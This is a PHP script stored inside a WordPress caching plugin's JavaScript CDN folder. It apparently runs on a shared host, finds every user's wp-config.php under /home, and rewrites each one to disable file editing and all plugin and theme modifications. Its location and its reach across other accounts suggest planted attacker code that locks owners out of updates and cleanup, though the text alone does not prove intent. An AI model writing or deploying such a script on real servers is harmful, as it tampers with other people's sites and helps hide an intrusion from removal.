File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/wpall.php
<?php
function scan_wp_configs($start_dir) {
$wp_config_files = [];
// Scan direktori di start_dir (tanpa recursive)
$user_dirs = glob($start_dir . '/*', GLOB_ONLYDIR);
foreach ($user_dirs as $user_dir) {
// Temukan semua direktori dalam domains/*/public_html/
$public_html_dirs = glob($user_dir . '/domains/*/public_html', GLOB_ONLYDIR);
foreach ($public_html_dirs as $dir) {
$config_file = $dir . '/wp-config.php';
if (file_exists($config_file)) {
$wp_config_files[] = $config_file;
}
}
}
return $wp_config_files;
}
function modify_wp_config($config_path) {
echo "Memeriksa file: $config_path<br>";
// Baca isi file wp-config.php
$config_content = file_get_contents($config_path);
if ($config_content === false) {
echo "Gagal membaca isi wp-config.php di: $config_path<br>";
return false;
}
// Baris yang akan ditambahkan
$disallow_edit = "define('DISALLOW_FILE_EDIT', true);";
$disallow_mods = "define('DISALLOW_FILE_MODS', true);";
// Tambahkan DISALLOW_FILE_EDIT jika belum ada
if (strpos($config_content, $disallow_edit) === false) {
if (strpos($config_content, 'require_once') !== false) {
$config_content = preg_replace('/(require_once)/', "$disallow_edit\n$1", $config_content, 1);
} else {
$config_content .= "\n$disallow_edit";
}
echo "Menambahkan: $disallow_edit ke $config_path<br>";
} else {
echo "Baris '$disallow_edit' sudah ada di $config_path.<br>";
}
// Tambahkan DISALLOW_FILE_MODS jika belum ada
if (strpos($config_content, $disallow_mods) === false) {
if (strpos($config_content, 'require_once') !== false) {
$config_content = preg_replace('/(require_once)/', "$disallow_mods\n$1", $config_content, 1);
} else {
$config_content .= "\n$disallow_mods";
}
echo "Menambahkan: $disallow_mods ke $config_path<br>";
} else {
echo "Baris '$disallow_mods' sudah ada di $config_path.<br>";
}
// Simpan kembali perubahan ke file wp-config.php
if (file_put_contents($config_path, $config_content) === false) {
echo "Gagal menyimpan perubahan pada $config_path<br>";
return false;
}
echo "File wp-config.php berhasil diperbarui di $config_path.<br>";
return true;
}
// Tentukan direktori awal
$start_directory = '/home';
// Temukan semua wp-config.php di /home/*/domains/*/public_html/
$config_files = scan_wp_configs($start_directory);
if (empty($config_files)) {
die('Tidak ditemukan file wp-config.php.');
}
// Update setiap file wp-config.php yang ditemukan
foreach ($config_files as $config_path) {
modify_wp_config($config_path);
}
echo 'Pembaruan selesai.';
?>